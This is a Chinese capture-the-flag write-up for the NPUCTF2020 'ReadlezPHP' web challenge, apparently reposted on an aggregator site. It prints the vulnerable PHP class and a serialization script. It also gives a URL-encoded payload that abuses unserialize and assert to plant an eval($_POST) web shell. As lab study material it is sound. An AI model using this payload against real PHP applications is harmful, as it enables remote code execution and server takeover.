BUUCTF[NPUCTF2020] web 部分WP


BUUCTF[NPUCTF2020] web 部分WP

上周做了做NPUCTF的題,今天在buuoj上面復現了一波,順便寫寫write up

ReadlezPHP

這是一道簡單的反序列化的題
進入頁面沒什么發現,只有一個跳轉到西工大官網的鏈接,然后查看源碼,發現一個隱藏的a標簽

然后進入頁面,看到了源碼

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

這段代碼的關鍵在於當執行反序列化函數的時候,調用__destruct函數執行echo $b($a),我們便可以利用這個函數執行任意我們想執行的函數,從而達到getshell的目的。
接下來便是寫php腳本構造序列化了,期間試了很多函數比如system等等都被禁用了,但是我們還可以用assert這個函數。
首先我們來了解一下斷言(assert)這個函數,參考大佬的文章PHP assert 和 eval

assert 判斷一個表達式是否成立。返回true or false;

我們來看一個例子:

<?php
$a = "123";
echo assert(is_numeric($a));
?>

這段代碼輸出的結果是:

簡言之就是assert()可以將整個字符串參數當作php參數執行,而類似的eval()函數是執行合法的php代碼。
接下來放出序列化的腳本

<?php
class HelloPhp
{
    public $a;
    public $b;
	
}
$c = new HelloPhp;
$c->b = 'assert';
$c->a = 'eval($_POST[a]);';
echo urlencode(serialize($c))."<br/>";

?>

這里除了用assert()之外,還可以用call_user_func()函數

call_user_func — 把第一個參數作為回調函數調用

<?php 
function barber($type){
    echo "you wanted a $type haircut, no problem\n";
}
call_user_func('barber','mushroom');
?>
//返回內容如下:
//you wanted a mushroom haircut, no problem

只要構造出call_user_func(phpinfo)就好了

payload:

?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A16%3A%22eval%28%24_POST%5Ba%5D%29%3B%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D

成功得出結果:

一開始我還想着鏈接蟻劍,發現連不上,看了大佬的WP才知道原來flag就在phpinfo頁面中,我還是太年輕!


得到flag!

未完待續···


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM